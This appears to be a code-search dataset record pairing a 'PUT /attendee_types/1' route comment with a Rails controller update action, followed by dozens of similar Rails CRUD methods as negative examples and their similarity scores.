"0.48778442", "0.4876129", "0.48719594", "0.48644215", "0.48624498", "0.4855072", "0.4848981", "0.48489505", "0.4845108", "0.4839411" ]
0.6750827
0
PUT /attendee_types/1 PUT /attendee_types/1.xml
def update @attendee_type = AttendeeType.find(params[:id]) respond_to do |format| if @attendee_type.update_attributes(params[:attendee_type]) flash[:notice] = 'AttendeeType was successfully updated.' format.html { redirect_to(@attendee_type) } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n respond_to do |format|\n if @attendence_type.update(attendence_type_params)\n format.html { redirect_to @attendence_type, notice: 'Attendence type was successfully updated.' }\n format.json { render :show, status: :ok, location: @attendence_type }\n else\n format.html { render :edit }\n format.json { render json: @attendence_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @email_type.update_attributes(params[:email_type])\n format.html { redirect_to(@email_type, :notice => 'Email type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @email_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @attendee.update(attendee_params)\n format.html { redirect_to @attendee, notice: 'Attendee was successfully updated.' }\n format.json { render :show, status: :ok, location: @attendee }\n else\n format.html { render :edit }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @attendee_type = AttendeeType.find(params[:id])\n @attendee_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(attendee_types_url) }\n format.xml { head :ok }\n end\n end", "def update\n @attendee = Attendee.find(params[:id])\n\n respond_to do |format|\n if @attendee.update_attributes(params[:attendee])\n format.html { redirect_to @attendee, flash: { success: \"#{@attendee.name} was successfully updated.\" } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attendee.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attendee = Attendee.find(params[:id])\n\n respond_to do |format|\n if @attendee.update_attributes(attendee_params)\n format.html { redirect_to @attendee, :notice => 'Attendee was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @attendee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_attendence_type\n @attendence_type = AttendenceType.find(params[:id])\n end", "def create\n @attendee_type = AttendeeType.new(params[:attendee_type])\n\n respond_to do |format|\n if @attendee_type.save\n flash[:notice] = 'AttendeeType was successfully created.'\n format.html { redirect_to(@attendee_type) }\n format.xml { render :xml => @attendee_type, :status => :created, :location => @attendee_type }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attendee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n if @event_type.update_attributes(event_type_params)\n format.html { redirect_to(@event_type, notice: 'Event type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @event_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @outgoing_type = OutgoingType.find(params[:id])\n\n respond_to do |format|\n if @outgoing_type.update_attributes(params[:outgoing_type])\n format.html { redirect_to(outgoing_types_path, :notice => 'Outgoing type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @outgoing_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_attendee\n @attendee = Attendee.find(params[:id])\n end", "def set_attendee\n @attendee = Attendee.find(params[:id])\n end", "def set_attendee\n @attendee = Attendee.find(params[:id])\n end", "def update\n @agenda_type = AgendaType.find(params[:id])\n\n respond_to do |format|\n if @agenda_type.update_attributes(params[:agenda_type])\n format.html { redirect_to @agenda_type, :notice => 'Agenda type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @agenda_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @consumer_event_type = ConsumerEventType.find(params[:id])\n\n respond_to do |format|\n if @consumer_event_type.update_attributes(params[:consumer_event_type])\n format.html { redirect_to(@consumer_event_type, :notice => 'Consumer event type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @consumer_event_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @email_type.update(email_type_params)\n format.html { redirect_to @email_type, notice: 'Email type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @email_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @incidenttype = Incidenttype.find(params[:id])\n\n respond_to do |format|\n if @incidenttype.update_attributes(params[:incidenttype])\n flash[:notice] = 'Incidenttype was successfully updated.'\n format.html { redirect_to(@incidenttype) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @incidenttype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n if @act_type.update_attributes(params[:act_type])\n format.html { redirect_to @act_type, notice: 'Данные типа документа успешно обновлены.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n event_id = session[:event_id]\n event = Event.find(event_id)\n ids = params[:event][:attendee_ids]\n ids.each do |id|\n next if event.events_attendees.exists?(attendee_id: id)\n event.events_attendees.create(attendee_id: id)\n end\n redirect_to event\n end", "def show\n @attendee_type = AttendeeType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @attendee_type }\n end\n end", "def update\n @employee_type = EmployeeType.find(params[:id])\n\n respond_to do |format|\n if @employee_type.update_attributes(params[:employee_type])\n format.html { redirect_to(@employee_type, :notice => 'Employee type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @employee_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @type.update(type_params)\n end", "def update\n @association_type = AssociationType.find(params[:id])\n\n respond_to do |format|\n if @association_type.update_attributes(params[:association_type])\n flash[:notice] = 'AssociationType was successfully updated.'\n format.html { redirect_to(@association_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @association_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @incident_type = IncidentType.find(params[:id])\n\n respond_to do |format|\n if @incident_type.update_attributes(params[:incident_type])\n format.html { redirect_to @incident_type, notice: 'Incident type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @establishment_type = @event.establishment_types.find(params[:id])\n\n respond_to do |format|\n if @establishment_type.update_attributes(params[:establishment_type])\n format.html { redirect_to([@event, @establishment_type], :notice => 'Establishment type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @establishment_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @edge_type = EdgeType.find(params[:id])\n\n respond_to do |format|\n if @edge_type.update_attributes(params[:edge_type])\n format.html { redirect_to @edge_type, notice: 'Edge type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @edge_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n flash[:notice] = 'RealtyType was successfully updated.'\n format.html { redirect_to(@realty_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @realty_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @newsletters_type = NewslettersType.find(params[:id])\n\n respond_to do |format|\n if @newsletters_type.update_attributes(params[:newsletters_type])\n format.html { redirect_to(@newsletters_type, :notice => 'Newsletters type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @newsletters_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @attr_type = AttrType.find(params[:id])\n\n respond_to do |format|\n if @attr_type.update_attributes(params[:attr_type])\n flash[:notice] = 'AttrType was successfully updated.'\n format.html { redirect_to(@attr_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attr_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\r\n @meeting_type = MeetingType.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @meeting_type.update_attributes(params[:meeting_type])\r\n format.html { redirect_to @meeting_type, only_path: true, notice: 'Meeting type was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @meeting_type.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def _update type, id, body\n @elasticsupport.client.update index: _index_for(type), type: type.to_s, id: id, body: body\n end", "def update\n @address_type = AddressType.find(params[:id])\n\n respond_to do |format|\n if @address_type.update_attributes(params[:address_type])\n format.html { redirect_to(@address_type, :notice => 'AddressType was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @address_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @inv_type = InvType.find(params[:id])\n @inv_type.updated_id = current_user.id\n\n respond_to do |format|\n if @inv_type.update_attributes(params[:inv_type])\n format.html { redirect_to(@inv_type, :notice => 'Inv type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inv_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @attendee_type = AttendeeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attendee_type }\n end\n end", "def sell_payment_types_update (payment_type_id, email, params={})\r\n url = api_url \"/sell/payment_types​/#{payment_type_id}\"\r\n load = MultiJson.dump email: email\r\n req = request_params(params)\r\n\r\n feed_or_retry do\r\n RestClient.put url, load, req \r\n end \r\n end", "def update_type!(applicant_type)\n update_type applicant_type\n update_button.click\n end", "def update\n respond_to do |format|\n if @event_type.update(event_type_params)\n format.html { redirect_to @event_type, notice: 'Event Type was successfully updated.' }\n format.json { render :show, status: :ok, location: @event_type }\n else\n format.html { render :edit }\n format.json { render json: @event_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @engineer_type = EngineerType.find(params[:id])\n\n respond_to do |format|\n if @engineer_type.update_attributes(params[:engineer_type])\n format.html { redirect_to(@engineer_type, :notice => 'Engineer type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @engineer_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @incident_type.update(incident_type_params)\n format.html { redirect_to admin_incident_types_path, notice: 'Incident type was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_type }\n else\n format.html { render :edit }\n format.json { render json: @incident_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def attendee_params\n params.require(:attendee).permit(:attended)\n end", "def update\n @type_appointment = TypeAppointment.new(type_appointment_params)\n @type_appointment.id = params[:id]\n respond_to do |format|\n if @type_appointment.update\n format.html { redirect_to @type_appointment, notice: 'Type appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_appointment }\n else\n format.html { render :edit }\n format.json { render json: @type_appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_type_appointment\n @type_appointment = TypeAppointment.find(params[:id])\n end", "def update\n @daytype = Daytype.find(params[:id])\n\n respond_to do |format|\n if @daytype.update_attributes(params[:daytype])\n format.html { redirect_to @daytype, notice: 'Daytype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @daytype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @custom_question_attendee = CustomQuestionAttendee.find(params[:id])\n\n respond_to do |format|\n if @custom_question_attendee.update_attributes(params[:custom_question_attendee])\n format.html { redirect_to(@custom_question_attendee, :notice => 'Custom question attendee was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @custom_question_attendee.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @eventtype.update(eventtype_params)\n format.html { redirect_to @eventtype, notice: 'Eventtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @eventtype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @claim_type = ClaimType.find(params[:id])\n\n respond_to do |format|\n if @claim_type.update_attributes(params[:claim_type])\n flash[:notice] = 'ClaimType was successfully updated.'\n format.html { redirect_to(@claim_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @claim_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @partner_type = PartnerType.find(params[:id])\n\n respond_to do |format|\n if @partner_type.update_attributes(params[:partner_type])\n format.html { redirect_to @partner_type, notice: 'Partner type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @partner_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_outype(outype_id, create_org_unit_type_data)\n payload =\n {\n 'Code' => '',\n 'Name' => '',\n 'Description' => '',\n 'SortOrder' => 0\n }.merge!(create_org_unit_type_data)\n # validate schema\n check_create_org_unit_type_data_validity(payload)\n path = \"/d2l/api/lp/#{$lp_ver}/outypes/#{outype_id}\"\n _post(path, payload)\n # returns OrgUnitType JSON data block\nend", "def update\n @activity_type = ActivityType.find(params[:id])\n\n respond_to do |format|\n if @activity_type.update_attributes(params[:activity_type])\n format.html { redirect_to @activity_type, notice: 'Activity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @activity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @identity_type.update(identity_type_params)\n format.html { redirect_to @identity_type, notice: 'Identity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @identity_type }\n else\n format.html { render :edit }\n format.json { render json: @identity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency_type = AgencyType.find(params[:id])\n\n respond_to do |format|\n if @agency_type.update_attributes(params[:agency_type])\n format.html { redirect_to @agency_type, notice: 'Agency type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agency_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @type_expertise = TypeExpertise.find(params[:id])\n\n respond_to do |format|\n if @type_expertise.update_attributes(params[:type_expertise])\n format.html { redirect_to(@type_expertise, :notice => 'Type expertise was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@type_expertise}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @type_expertise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @fault_type = FaultType.find(params[:id])\n\n respond_to do |format|\n if @fault_type.update_attributes(params[:fault_type])\n format.html { redirect_to(@fault_type, :notice => 'FaultType was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fault_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @item_type = ItemType.find(params[:id])\n\n respond_to do |format|\n if @item_type.update_attributes(params[:item_type])\n format.html { render :action => 'edit', :notice => 'Item type was successfully updated.' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @event_type = EventType.find(params[:id])\n\n respond_to do |format|\n if @event_type.update_attributes(params[:event_type])\n\t\t\t\tmsg = I18n.t('app.msgs.success_updated', :obj => I18n.t('app.common.event_type'))\n\t\t\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n format.html { redirect_to admin_event_type_path(@event_type), notice: msg }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attending = Attending.find(params[:id])\n\n respond_to do |format|\n if @attending.update_attributes(params[:attending])\n format.html { redirect_to @attending, notice: 'Your RSVP was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @attending.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meeting_type.update(meeting_type_params)\n format.html { redirect_to @meeting_type, notice: 'Meeting type was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting_type }\n else\n format.html { render :edit }\n format.json { render json: @meeting_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @collection = @entity_type.collection\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def attendence_type_params\n params.require(:attendence_type).permit(:name)\n end", "def update\n @party_type = PartyType.find(params[:id])\n\n respond_to do |format|\n if @party_type.update_attributes(params[:party_type])\n flash[:notice] = 'PartyType was successfully updated.'\n format.html { redirect_to(@party_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @party_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @committee_type.update(committee_type_params)\n format.html { redirect_to @committee_type, notice: 'Committee type was successfully updated.' }\n format.json { render :show, status: :ok, location: @committee_type }\n else\n format.html { render :edit }\n format.json { render json: @committee_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def _update(type, current_name, metadata={})\n type = type.to_s.camelize\n request :update do |soap|\n soap.body = {\n :metadata => {\n :current_name => current_name,\n :metadata => prepare(metadata),\n :attributes! => { :metadata => { 'xsi:type' => \"ins0:#{type}\" } }\n }\n }\n end\n end", "def webinar_attendee_params\n params.require(:webinar_attendee).permit(:webinar_id, :attendee_id, :attended, attendees_attributes: [:id, :name, :email, :school_name, :active])\n end", "def update\n @encounter_type = EncounterType.find(params[:id])\n\n respond_to do |format|\n if @encounter_type.update_attributes(params[:encounter_type])\n flash[:notice] = 'EncounterType was successfully updated.'\n format.html { redirect_to(@encounter_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @encounter_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @partytype = Partytype.find(params[:id])\n\n respond_to do |format|\n if @partytype.update_attributes(params[:partytype])\n format.html { redirect_to(@partytype, :notice => 'Partytype was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @partytype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @extension_type = ExtensionType.find(params[:id])\n\n respond_to do |format|\n if @extension_type.update_attributes(params[:extension_type])\n flash[:notice] = 'ExtensionType was successfully updated.'\n format.html { redirect_to(@extension_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @extension_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @fender_type.update(fender_type_params)\n format.html { redirect_to fender_types_path, notice: 'Fender type was successfully updated.' }\n format.json { render :show, status: :ok, location: @fender_type }\n else\n format.html { render :edit }\n format.json { render json: @fender_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n \t\t\t\t\t@active = User.find(session[:user_id]).try :touch\n respond_to do |format|\n if @encounters_type.update(encounters_type_params)\n format.html { redirect_to @encounters_type, notice: 'Encounters type was successfully updated.' }\n format.json { render :show, status: :ok, location: @encounters_type }\n else\n format.html { render :edit }\n format.json { render json: @encounters_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @role_types = RoleTypes.find(params[:id])\n\n respond_to do |format|\n if @role_types.update_attributes(params[:role_types])\n flash[:notice] = 'RoleTypes was successfully updated.'\n format.html { redirect_to(@role_types) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role_types.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @edition_type = EditionType.find(params[:id])\n\n respond_to do |format|\n if @edition_type.update_attributes(params[:edition_type])\n format.html { redirect_to @edition_type, notice: 'Edition type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @edition_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @applicant_type = @applicant.applicant_type\n respond_to do |format|\n if @applicant.update(applicant_params)\n format.html { redirect_to @applicant, notice: 'Application successfully updated.' }\n format.json { render :show, status: :ok, location: @applicant }\n else\n format.html { render :edit }\n format.json { render json: @applicant.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize EmployeeType\n respond_to do |format|\n if @employee_type.update(employee_type_params)\n format.html { redirect_to @employee_type, notice: \"Employee type #{@employee_type.description} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @employee_type }\n else\n format.html { render :edit }\n format.json { render json: @employee_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_should_update_invite_via_API_XML\r\n get \"/logout\"\r\n put \"/invites/1.xml\", :invite => {:message => 'API Invite 1',\r\n :accepted => false,\r\n :email => '[email protected]',\r\n :user_id => 1 }\r\n assert_response 401\r\n end", "def update\n respond_to do |format|\n if @day_type.update(day_type_params)\n format.html { redirect_to @day_type, notice: 'Day type was successfully updated.' }\n format.json { render :show, status: :ok, location: @day_type }\n else\n format.html { render :edit }\n format.json { render json: @day_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @office_type.update(office_type_params)\n format.html { redirect_to @office_type, notice: 'Office type was successfully updated.' }\n format.json { render :show, status: :ok, location: @office_type }\n else\n format.html { render :edit }\n format.json { render json: @office_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @addresstype = Addresstype.find(params[:id])\n\n respond_to do |format|\n if @addresstype.update_attributes(params[:addresstype])\n format.html { redirect_to @addresstype, notice: 'Addresstype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @addresstype.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_appointment_type\n @appointment_type = AppointmentType.find(params[:id])\n end", "def update\n @agendaitemtype = Agendaitemtype.find(params[:id])\n\n respond_to do |format|\n if @agendaitemtype.update_attributes(agendaitemtype_params)\n format.html { redirect_to @agendaitemtype, notice: 'Agendaitemtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @agendaitemtype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attend = Attend.find(params[:id])\n\n respond_to do |format|\n if @attend.update_attributes(params[:attend])\n format.html { redirect_to(@attend, :notice => 'Attend was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attend.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @rtype = Rtype.find(params[:id])\n\n respond_to do |format|\n if @rtype.update_attributes(params[:rtype])\n flash[:notice] = 'Rtype was successfully updated.'\n format.html { redirect_to(@rtype) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rtype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @attender = Attender.find(params[:id])\n\n respond_to do |format|\n if @attender.update_attributes(params[:attender])\n flash[:notice] = 'Attender was successfully updated.'\n format.html { redirect_to(@attender) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @attender.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @flag_type = FlagType.find(params[:id])\n\n respond_to do |format|\n if @flag_type.update_attributes(params[:flag_type])\n flash[:notice] = 'FlagType was successfully updated.'\n format.html { redirect_to(admin_flag_type_url(@flag_type)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @flag_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @industry_type = IndustryType.find(params[:id])\n\n respond_to do |format|\n if @industry_type.update_attributes(params[:industry_type])\n flash[:notice] = 'Industry Type was successfully updated.'\n format.html { redirect_to(@industry_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @industry_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @role_type = RoleType.find(params[:id])\n\n respond_to do |format|\n if @role_type.update_attributes(params[:role_type])\n format.html { redirect_to(role_types_path, :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @advance_type.update(advance_type_params)\n @advance_types = AdvanceType.all\n @advance_type = AdvanceType.new\n end", "def update\n @member_type = MemberType.find(params[:id])\n\n respond_to do |format|\n if @member_type.update_attributes(params[:member_type])\n format.html { redirect_to @member_type, notice: 'Member type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @member_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @intervention_type.update(intervention_type_params)\n format.html { redirect_to intervention_types_path, notice: 'O tipo de intervenção foi actualizado.' }\n format.json { render :show, status: :ok, location: @intervention_type }\n else\n format.html { render :edit }\n format.json { render json: @intervention_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @accounttype = Accounttype.find(params[:id])\n\n respond_to do |format|\n if @accounttype.update_attributes(params[:accounttype])\n format.html { redirect_to(@accounttype, :notice => 'Accounttype was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accounttype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @entity_type.update_attributes(params[:entity_type])\n format.html { redirect_to(entity_types_path, :notice => \"Entity Type was successfully updated. #{undo_link}\") }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end", "def update\n\t @email_type_list = EmailTypeList.find(params[:id])\n respond_to do |format|\n if @email_type_list.update(email_type_list_params)\n format.html { redirect_to @email_type_list, notice: 'Email type list was successfully updated.' }\n format.json { render :show, status: :ok, location: @email_type_list }\n else\n format.html { render :edit }\n format.json { render json: @email_type_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @objecttype = Objecttype.find(params[:id])\n\n respond_to do |format|\n if @objecttype.update_attributes(params[:objecttype])\n flash[:notice] = 'Objecttype was successfully updated.'\n format.html { redirect_to(@objecttype) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @objecttype.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def set_email_type\n @email_type = EmailType.find(params[:id])\n end", "def update\n respond_to do |format|\n if @consumer_type.update(consumer_type_params)\n format.html { redirect_to @consumer_type, notice: 'Consumer type was successfully updated.' }\n format.json { render :show, status: :ok, location: @consumer_type }\n else\n format.html { render :edit }\n format.json { render json: @consumer_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @entry_type = EntryType.find(params[:id])\n\n respond_to do |format|\n field_type_ids = params[:entry_type].delete(\"field_type_ids\")\n @entry_type.field_type_ids = field_type_ids if field_type_ids\n params[:entry_type].delete(\"form_code\")\n if @entry_type.update_attributes(params[:entry_type])\n format.html { redirect_to @entry_type, notice: 'Entry type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entry_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @acquired_type.update(acquired_type_params)\n format.html { redirect_to @acquired_type, notice: 'Acquired type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @acquired_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_type_of_meeting\n @type_of_meeting = TypeOfMeeting.find(params[:id])\n end" ]
